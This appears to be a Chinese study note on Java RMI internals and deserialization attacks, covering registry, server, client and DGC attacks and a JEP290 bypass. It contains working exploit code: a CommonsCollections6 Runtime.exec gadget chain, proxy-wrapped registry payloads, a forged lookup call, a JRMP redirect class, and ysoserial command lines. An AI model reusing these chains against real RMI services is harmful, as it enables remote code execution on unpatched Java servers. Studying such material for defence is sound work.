RMI

https://xz.aliyun.com/t/8706#toc-14

https://xz.aliyun.com/t/7932#toc-4

https://xz.aliyun.com/t/7930

https://www.anquanke.com/post/id/204740#h3-8

https://www.anquanke.com/post/id/200860#h2-3

远程方法调用,让一个java虚拟机上的对象调用另一个java虚拟机对象上的方法,对象是使用序列化传输

执行远程方法的时候,还是在远程服务上执行的。

package org.zzlearn_test.RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ServiceInterface extends Remote {
    String hello(String a) throws RemoteException;//在客户端中也需要调用该接口,所以需要将需要实现的方法写在这里
}
package org.zzlearn_test.RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class Service extends UnicastRemoteObject implements ServiceInterface {
    protected Service() throws RemoteException {
        super();
    }
    public String hello(String a) throws RemoteException {
        System.out.println("call from "+a);
        return "Hello " + a;
    }
}
package org.zzlearn_test.RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    private void start() throws Exception {
        serivce h = new serivce();
        LocateRegistry.createRegistry(1091);
        Naming.bind("rmi://127.0.0.1:1091/Hello", h);
    }
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}
package org.zzlearn_test.RMI;
import java.rmi.Naming;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ServiceInterface hello = (ServiceInterface)
                Naming.lookup("rmi://127.0.0.1:1091/Hello");
        String ret = hello.hello("test2");
        System.out.println( ret);
    }
}
//如果引用远程接口serialVersionUID必须一致。
  1. RMIServer会在RMI Registry上注册一个Name到对象的绑定关系
  2. 在通信过程中进行了两次TCP握手,第一次是连接我们指定的端口,然后client第一次先连接RMI Registry,远端回复一个Data消息,Data中有新的端口然后客户端连接新的端口。
  3. Client按照Data中的信息(ip,端口)连接RMI服务。
  4. Client传输参数,server执行然后返回结果。

RMI执行步骤

创建注册中心

获取注册中心有两种方式,LocateRegistry.createRegistry和LocateRegistry.getRegistry

通过createRegistry获取

createRegistry有两种实现方法

public static Registry createRegistry(int port) throws RemoteException {
        return new RegistryImpl(port);
    }

    public static Registry createRegistry(int port, RMIClientSocketFactory csf,RMIServerSocketFactory ssf)throws RemoteException{
        return new RegistryImpl(port, csf, ssf);
    }

但是一般采用第一种,直接传入port即可,两种都是获取一个RegistryImpl对象。

在new RegistryImpl时,LiveRef中封装了ip,端口等信息(高版本会加入filter等等),然后传入UnicastServerRef中,进行一下数据的封装。

LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));

进入RegistryImpl.this.setup

private void setup(UnicastServerRef var1) throws RemoteException {
        this.ref = var1;
        var1.exportObject(this, (Object)null, true);
    }

进入var1.exportObject,var1就是UnicastServerRef对象。

。。。。。。

最终调用TCPTransport的exportObject方法,然后开启监听。

最终通过ObjectTable.getTarget()从socket流中获取ObjId,然后通过ObjId获取Target对象,然后调用UnicastServerRef#dispatch -》 UnicastServerRef#oldDispatch -》 RegistryImpl_Skel#dispatch,然后根据参数(0就是bind,2就是lookup)处理请求,所以无论是客户端还是服务端最终处理请求都是通过创建RegistryImpl对象进行调用。

通过getRegistry获取

通过UnicastRef包装LiveRef,里面包含了ObjID、host、port等信息。

public static Registry getRegistry(String host, int port,RMIClientSocketFactory csf)throws RemoteException{
       ......
        LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }

然后创建一个RegistryImpl_Stub对象

private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
        throws StubNotFoundException
    {
        String stubname = remoteClass.getName() + "_Stub";
        try {
            Class<?> stubcl =
                Class.forName(stubname, false, remoteClass.getClassLoader());
            Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
            return (RemoteStub) cons.newInstance(new Object[] { ref });

最终获得一个RegistryImpl_Stub对象

服务端、客户端与注册中心通信(bind、unbind、rebind、lookup)

最终在服务端通过createRegistry返回的是RegistryImpl对象,里面有个bindings,以键值储存了绑定的对象,使用bind、unbind、rebind都会直接进入绑定阶段。所以使用createRegistry返回的RegistryImpl对象是无法打注册端的,直接就注册了,根本就没有传输到注册端过程。

Registry registry = LocateRegistry.createRegistry(1091);
registry.bind("rmi://127.0.0.1:1091/Hello", h);

进入bind方法
    public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
        checkAccess("Registry.bind");
        synchronized(this.bindings) {
            Remote var4 = (Remote)this.bindings.get(var1);
            if (var4 != null) {
                throw new AlreadyBoundException(var1);
            } else {
                this.bindings.put(var1, var2);

如果使用LocateRegistry.*getRegistry*那么就会获得一个RegistryImpl_Stub对象,进入bind方法,先执行newCall方法,在里面会写入一些数据。然后序列化对象名称和要绑定的对象。然后invoke方法将数据发送到注册端。

public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            super.ref.invoke(var3);
            super.ref.done(var3);

注册端接收数据

然后交给UnicastServerRef#dispatch处理,dispatch会得到传输过来的两个对象

可以看见skel值不为null,就会进入oldDispatch中进行,然后进入RegistryImpl_Skel#dispatch

在注册中心的RegistryImpl_Skel#dispatch方法里面执行readObject操作。然后执行对应操作(bind、unbind)

当然高版本会有其他操作,检查绑定ip等等

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
            RegistryImpl var6 = (RegistryImpl)var1;
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            switch(var3) {
            case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
......
                var6.bind(var7, var8);

然后进入bind函数,到这里与createRegistry直接使用bind就是一样的了。

客户端发送参数

客户端执行lookup后会生成一个代理对象,所以执行方法会进入代理对象的invoke方法

判断要调用的方法是否在所有对象中有,然后进入invokeObjectMethod或者invokeRemoteMethod

public Object invoke(Object proxy, Method method, Object[] args){

        if (method.getDeclaringClass() == Object.class) {
            return invokeObjectMethod(proxy, method, args);
......
        } else {
            return invokeRemoteMethod(proxy, method, args);
        }
    }

然后进入RemoteObjectInvocationHandler#invokeRemoteMethod,然后执行ref.invoke,将proxy, method, args,和method的hash传入

private Object invokeRemoteMethod(Object proxy,Method method,Object[] args)throws Exception{
......
            return ref.invoke((Remote) proxy, method, args,getMethodHash(method));

然后进入UnicastRef#invoke->TCPChannel#newConnection发送数据

然后回到UnicastRef#invoke->UnicastRef#marshalValue将传递的参数序列化写入连接。

然后回到UnicastRef#invoke执行var7.executeCall();传输数据并获取结果。

然后在UnicastRef#invoke的Object var50 = *unmarshalValue*(var49, (ObjectInput)var11);,然后执行readObject,使用的是jdk自带的readObject。

服务端接收参数

服务端通过Transport#serviceCall获取传输过来的信息

然后交给UnicastServerRef#dispatch处理,dispatch会得到传输过来的两个对象

进入UnicastServerRef后,skel为null,就不会进入注册(bind、unbind等等)处理

一直执行到params = unmarshalParameters(obj, method, marshalStream);进行数据处理,判断是否为DeserializationChecker的实例

private Object[] unmarshalParameters(Object obj, Method method, MarshalInputStream in)
    throws IOException, ClassNotFoundException {
        return (obj instanceof DeserializationChecker) ?
            unmarshalParametersChecked((DeserializationChecker)obj, method, in) :
            unmarshalParametersUnchecked(method, in);
    }

进入unmarshalParametersUnchecked

private Object[] unmarshalParametersUnchecked(Method method, ObjectInput in)
    throws IOException, ClassNotFoundException {
        Class<?>[] types = method.getParameterTypes();
        Object[] params = new Object[types.length];
        for (int i = 0; i < types.length; i++) {
            params[i] = unmarshalValue(types[i], in);
        }
        return params;
    }

进入unmarshalValue(types[i], in);执行readObject

如何攻击RMI

执行的方法是使用的服务端的方法,但是我们如何利用嘞

可以访问RMI Registry

如果服务器上存在一些危险方法,可以对危险方法进行探测:https://github.com/NickstaDB/BaRMIe

由于RMI传输数据会经过序列化和反序列化,可以直接传输gadget chain

利用codebase执行任意代码

codebase是一个地址告诉虚拟机在哪里搜索类,如:codebase=http://example.com/,就会加载org.vulhub.example.Example类,在RMI流程中,客户端和服务端传递的是序列化后的对象,在这些对象反序列时就会去寻找类,寻找时会先在ClassPath下寻找,然后在codebase中寻找。如果可以控制codebase就能加载恶意类。并且在RMI中,我们可以将codebase一起随着序列化数据一起传送。

但是只有如下条件的服务器才能被攻击:

  1. 设置了java.rmi.server.useCodebaseOnly=false,或者java版本低于7u21、6u45(低于这几个版本默认为false)
  2. 设置System.*setSecurityManager*(new RMISecurityManager());

否则java只会信任默认配置好的codebase

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

攻击服务端

条件:

  1. RMI服务需要接受Object类型数据(实际依据传入的对象类型,CC6改为Map也可以)
  2. 服务端要有可以利用的组件或者漏洞
public class RMIClient {
    public static void main(String[] args) throws Exception {
        Object seri = CommonsCollections6TemplatesImpl();
        ServiceInterface hello = (ServiceInterface)
                Naming.lookup("rmi://127.0.0.1:1091/Hello");
        String ret = hello.hello(seri);
        System.out.println(ret);
    }
}

绕过Object

jdk 8u66

反序列化的利用点就是UnicastRef的unmarshalValue方法。

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var1.readObject();
        }
    }

只要不是基本类型都能进入var1.readObject();,如果传入的数据类型是Object,我们可以利用任何可以利用的链,但是如果是String类型的嘞,这样就无法传入类似于CC6那种Map的利用链,如果直接修改客户端接口类型会在验证Method Hash阶段报错,所以不仅要修改参数类型还需要修改Method Hash,或者先计算出正确的Hash然后替换参数。

国外的大佬afanti总结了几种利用方式

  1. 修改rmi源码
  2. 添加调试器hook客户端程序
  3. 使用Javassist更改字节码
  4. 使用网络代理更改已经序列化对象

利用工具:https://github.com/Afant1/RemoteObjectInvocationHandler

修改VM参数:-javaagent:E:\windows\download\rasp-1.0-SNAPSHOT.jar

将其中的URLDNS更换为CC6的利用链

package afanti.rasp.util;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
    public static Object getObject(final String url) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{url}),
                new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(lazyMap, "x");

        HashSet hashSet = new HashSet(1);
        hashSet.add("test");
        // 反射获取HashSet中map的值
        Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
        // 取消访问限制检查
        map.setAccessible(true);
        // 获取HashSet中map的值
        HashMap hashSetMap = (HashMap) map.get(hashSet);

        // 反射获取 HashMap 中 table 的值
        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        // 取消访问限制检查
        table.setAccessible(true);
        // 获取 HashMap 中 table 的值
        Object[] hashMapTable = (Object[]) table.get(hashSetMap);
        Object node = hashMapTable[0];
        if (node == null) {
            node = hashMapTable[1];
        }
        // 将 key 设为 tiedMapEntry
        Reflections.setFieldValue(node, "key", tme);
        return hashSet;
    }
}

具体实现是hook InvokeRemoteMethod函数,强制更改了参数值。

注册中心攻击服务端

这个与注册中攻击客户端一样,用处不大。

攻击客户端

返回恶意数据

直接返回恶意数据,客户端会反序列化恶意数据,从而造成命令执行

注册中心攻击客户端

注册中心也会返还数据给客户端,也是序列化的数据客户端也会反序列化。

利用ysoserial:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RegistryToClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.unbind("http://127.0.0.1/Hello");
    }
}

lookup、bind、unbind、rebind都能受到攻击。

攻击注册中心

bind,rebind,unbind,lookup都是一样的。不过unbind和lookup只能传输字符串,但我们可以利用反射等方法修改数据。

  1. bind函数会将一个对象绑定到注册中心,传输数据的过程是通过序列化的方式,然后注册中心会反序列化该对象,如果传递的是恶意对象,也能造成命令执行。

RMIserver

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    private void start() throws Exception {
        Service h = new Service();
        LocateRegistry.createRegistry(1091);
        Naming.bind("rmi://127.0.0.1:1091/Hello", h);
    }
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

为什么使用Naming:Naming就是相当于registry的一个封装,这里不能直接使用createRegistry返回的对象的bind、rebind等等。可以使用LocateRegistry.*getRegistry*();这和Naming返回的对象都是RegistryImpl_Stub而不是createRegistry方法返回的RegistryImpl对象。具体的执行步骤可以看上面。

直接利用ysoserial

ysoserial:java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1091 CommonsCollections1 "calc.exe"

触发点在RegistryImpl_Skel.class,低版本这个文件并不能直接找到,需要在RegistryImpl.class的bind方法打断点然后看调用栈才能看见,使用rebind,unbind等等就在对应位置打断点。

case 0就是bind分支,其中的

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            RegistryImpl var6 = (RegistryImpl)var1;
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            switch(var3) {
            case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var94) {
                    throw new UnmarshalException("error unmarshalling arguments", var94);
                } catch (ClassNotFoundException var95) {
                    throw new UnmarshalException("error unmarshalling arguments", var95);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var93) {
                    throw new MarshalException("error marshalling return", var93);
                }
            case 1:
                var2.releaseInputStream();
                String[] var97 = var6.list();

                try {
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);
                    break;
                } catch (IOException var92) {
                    throw new MarshalException("error marshalling return", var92);
                }
            case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                var8 = var6.lookup(var7);

                try {
                    ObjectOutput var9 = var2.getResultStream(true);
                    var9.writeObject(var8);
                    break;
                } catch (IOException var88) {
                    throw new MarshalException("error marshalling return", var88);
                }
            case 3:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }
            case 4:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var80) {
                    throw new MarshalException("error marshalling return", var80);
                }
            default:
                throw new UnmarshalException("invalid method number");

其种的String和Remote类型的参数都可以作为攻击手段,ysoserial就是利用的Remote参数,需要将恶意链包装为Remote参数,而Barmi就是利用的String参数,利用String参数就需要自己构建字节流

包装Remote可以利用动态代理或者自己实现接口

public class ServerRegistry {
    public static Remote Payload() throws Exception {
        Object seri = CommonsCollections6TemplatesImpl("calc.exe");
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);
        Remote proxyEvalObject = (Remote)Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject);
        return proxyEvalObject;
    }
    public static void ServerRegistry() throws Exception {
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/1099/Hello", Payload());
    }
    public static void main(String[] args) throws Exception {
        ServerRegistry();
    }
}

利用Remote包装

private static class BindExploit implements Remote, Serializable {
    private final Object memberValues;
    private BindExploit(Object payload) {
        memberValues = payload;
    }
}

Remote remote_lala = new BindExploit(payload);

编写lookup攻击

由于lookup只接受String类型参数,所以需要我们模仿lookup传参过程。

package org.payload.rmi.rmiRegistry;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.Map;

import static org.payload.CC.CC6.CommonsCollections6TemplatesImpl.CommonsCollections6TemplatesImpl;

public class ClientToRegistry {
    public static void main(String[] args) throws Exception {
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);

        Object seri = CommonsCollections6TemplatesImpl("calc.exe");
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);

        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));

        //LocateRegistry.createRegistry(1091);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1091);

        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyEvalObject);
        ref.invoke(var2);
    }
}

利用报错带出回显

攻击注册中心时,注册中心会直接把异常返还给客户端。

利用DGC攻击

DGC

分布式垃圾收集机制,在java中如果一个对象没有被任何变量引用那么就可以被垃圾回收机制回收,对于远程对象,不仅会在本地引用,Registry注册表也会持有引用。当客户端获取一个远程对象时,就会向DGC发送一个租赁消息。因此可以利用与DGC的通信进行反序列化漏洞

与RMI通信不同的是,通过UnicastServerRef#OldDispatch进入DGCImpl_Skel#dispatch。通过case分支执行dirty(租赁、续租)或者clean(清除),然后执行到对应的readObject。

case 1:
                Lease var10;
                try {
                    ObjectInput var11 = var2.getInputStream();
                    var7 = (ObjID[])((ObjID[])var11.readObject());
                    var8 = var11.readLong();
                    var10 = (Lease)var11.readObject();
                } catch (IOException var32) {
                    throw new UnmarshalException("error unmarshalling arguments", var32);
                } catch (ClassNotFoundException var33) {
                    throw new UnmarshalException("error unmarshalling arguments", var33);
                } finally {
                    var2.releaseInputStream();
                }

                Lease var40 = var6.dirty(var7, var8, var10);

8u121以前

这里的readObject也是我们可以利用的,直接打注册端。

ysoserial:java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1091 CommonsCollections5 "calc.exe"

一些修复

  1. 在低版本的JDK中,注册中心和服务端可以不在一个服务器上,但是在8u121之后,在bind方法里面增加了一个checkAccess方法,检查是否为localhost,但是反序列化在bind之前就执行了,并没有什么用,然后在8u141修改为在RegistryImpl_Skel中执行readObject之前就执行了了checkAccess方法,这样bind,rebind,unbind就没有用了。
  2. JEP290之后攻击注册端执行readObject时,会有filter过滤,只允许一些白名单类通过。

JEP290

  1. 实现了一个限制反序列化的机制,通过白名单或者黑名单。
  2. 现在反序列化深度和复杂度
  3. 为远程RMI调用讴歌对象提供验证机制
  4. 拥有可配置的过滤机制

适用范围

8u121,7u131,6u141及其之后版本

白名单

String  Number  Remote  Proxy  UnicastRef  RMIClientSocketFactory  RMIServerSocketFactory  ActivationID  UID

实现方法

提供了一个ObjectInputFilter接口,通过设置filter对象在反序列化(ObjectInputStream#readObject)时触发filter检测。

在JEP290之后只有server和client直接传输恶意数据可以利用,而其他攻击方法都失效了,会显示REJECTED。

我们代理的Remote对象也不能通过,虽然是Remote类型,但是在反序列化时会对其内部字段也进行反序列化,内部白名单外的类都会被检查,外层的Remote虽然过了检查,但是其他恶意类也无法通过,也会被拦截。

实现过程

在ObjectInputStream中

readObject->readObject0->readOrdinaryObject->readClassDesc->readProxyDesc或者

readNonProxyDesc->filterCheck

RMI中实现过程

RegistryImpl_Skel#dispatch中执行readObject,然后一步步执行到过滤器这里,可以看见Remote动态代理是成功通过检查的,但是后面的AnnotationInvocationHandler就被拦截了。

但是这里的filter为什么是registryFilter?

在RegistryImpl中,RegistryImpl::registryFilter作为一个Lambda表达式,相当于info->RegistryImpl.registryFilter(info)

public RegistryImpl(int port,
                        RMIClientSocketFactory csf,
                        RMIServerSocketFactory ssf)
        throws RemoteException
    {
        this(port, csf, ssf, RegistryImpl::registryFilter);
    }

在RegistryImpl生成的时候就传递给UnicastServerRef2

public RegistryImpl(int port,
                        RMIClientSocketFactory csf,
                        RMIServerSocketFactory ssf,
                        ObjectInputFilter serialFilter)
        throws RemoteException
    {
        if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
            // grant permission for default port only.
            try {
                AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
                    public Void run() throws RemoteException {
                        LiveRef lref = new LiveRef(id, port, csf, ssf);
                        setup(new UnicastServerRef2(lref, serialFilter));
                        return null;
                    }
                }, null, new SocketPermission("localhost:"+port, "listen,accept"));
            } catch (PrivilegedActionException pae) {
                throw (RemoteException)pae.getException();
            }
        } else {
            LiveRef lref = new LiveRef(id, port, csf, ssf);
            setup(new UnicastServerRef2(lref, serialFilter));
        }
    }

-------------------------》
    public UnicastServerRef2(LiveRef ref,
                             ObjectInputFilter filter)
    {
        super(ref, filter);
    }
----------------------》
    public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) {
        super(ref);
        this.filter = filter;
    }

在创建时后一直作为UnicastServerRef的变量,在进行处理的时候才传递给ObjectInputStream。

查看ObjectInputStream#filterCheck

private void filterCheck(Class<?> clazz, int arrayLength)
            throws InvalidClassException {
        if (serialFilter != null) {
            RuntimeException ex = null;
            ObjectInputFilter.Status status;
            // Info about the stream is not available if overridden by subclass, return 0
            long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
            try {
                status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
                        totalObjectRefs, depth, bytesRead));

这里的serialFilter就是RegistryImpl$$Lambda。所以最终会执行到RegistryImpl#registryFilter

为什么服务端和客户端相互攻击不会被拦截

JEP290是需要我们手动设置的。

在攻击注册端时会被拦截是因为需要传输RegistryImpl对象,这样才能执行到dispatch分支,因为RegistryImpl中主动设置了(RegistryImpl::registryFilter),传输的RegistryImpl对象就有filter。

但是在客户端和服务端相互传输的数据是由UnicastServerRef对象包装。可以看前面的服务端接收数据,filter为null。

RMI中绕过

方式一:利用DGC开启JRMP

适用版本:8u121-8u230

利用过程

  1. 开启服务端
package org.payload.rmi.rmiServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    private void start() throws Exception {
        Service h = new Service();
        Registry registry = LocateRegistry.createRegistry(1091);
        Naming.bind("rmi://127.0.0.1:1091/Hello", h);
    }
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}
  1. ysoserial开启恶意JRMPListener:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "calc.exe"
  2. 向注册端方发送恶意的ip port
package org.payload.rmi.rmiRegistry.ToRegistry;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JRMPToRegistry {
    public static void main(String[] args) throws Exception {
        Registry reg = LocateRegistry.getRegistry("127.0.0.1",1091);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(Registry.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("test12",proxy);

    }
}
  1. 注册端连接ysoserial开启的JRMPListener,ysoserial发送恶意数据。
UnicastRef

RMI中的过滤器只允许白名单中的类通过,那么我们只需要找一个白名单中的类,利用它的readObject即可

服务端客户端与Registry通信都需要UnicastRef,如果我们能控制UnicastRef中的host、port就可以传输恶意的数据(ip port)。

RemoteObject

通过UnicastRef我们可以控制一些数据,但是我们还需要一个readObject来执行连接操作,RemoteObject继承了Remote 和 Serializable 接口,可以通过filter。

查看其readObject方法

private void readObject(ObjectInputStream var1) throws IOException,ClassNotFoundException {
        String var2 = var1.readUTF();
        if (var2 != null && var2.length() != 0) {
            String var3 = "sun.rmi.server." + var2;
            Class var4 = Class.forName(var3);
            try {
                this.ref = (RemoteRef)var4.newInstance();
.....
            this.ref.readExternal(var1);
        } else {
            this.ref = (RemoteRef)var1.readObject();}}
--------------------》
          public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        this.ref = LiveRef.read(var1, false);
    }
---------------------》
          public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
        TCPEndpoint var2;
        if (var1) {
            var2 = TCPEndpoint.read(var0);
        } else {
            var2 = TCPEndpoint.readHostPortFormat(var0);
        }

        ObjID var3 = ObjID.read(var0);
        boolean var4 = var0.readBoolean();
        LiveRef var5 = new LiveRef(var3, var2, false);
        if (var0 instanceof ConnectionInputStream) {
            ConnectionInputStream var6 = (ConnectionInputStream)var0;
            var6.saveRef(var5);
--------------------------》
              void saveRef(LiveRef var1) {
        Endpoint var2 = var1.getEndpoint();
        Object var3 = (List)this.incomingRefTable.get(var2);
        if (var3 == null) {
            var3 = new ArrayList();
            this.incomingRefTable.put(var2, var3);
        }

        ((List)var3).add(var1);
    }

read方法会读取ip host然后传入saveRef重新封装,为的是在调用DGCClient#registerRefs时使用。

上面的readObject方法是在RegistryImpl_Skelcase中进行的

case 0:
                RegistryImpl.checkAccess("Registry.bind");

                try {
                    var9 = var2.getInputStream();
                    var7 = (String)var9.readObject();
                    var80 = (Remote)var9.readObject();
                } catch (ClassNotFoundException | IOException var77) {
                    throw new UnmarshalException("error unmarshalling arguments", var77);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var80);

执行完readObject后到var2.releaseInputStream();

public void releaseInputStream() throws IOException {
        try {
            if (this.in != null) {
                try {
                    this.in.done();
                } catch (RuntimeException var5) {
                }
                this.in.registerRefs();
                this.in.done(this.conn);
            }
            this.conn.releaseInputStream();
        } finally {
            this.in = null;}}

然后执行registerRefs()

void registerRefs() throws IOException {
        if (!this.incomingRefTable.isEmpty()) {
            Iterator var1 = this.incomingRefTable.entrySet().iterator();

            while(var1.hasNext()) {
                Entry var2 = (Entry)var1.next();
                DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
            }}}
发起lookup连接
    static void registerRefs(Endpoint var0, List<LiveRef> var1) {
        DGCClient.EndpointEntry var2;
        do {
            var2 = DGCClient.EndpointEntry.lookup(var0);
        } while(!var2.registerRefs(var1));
    }

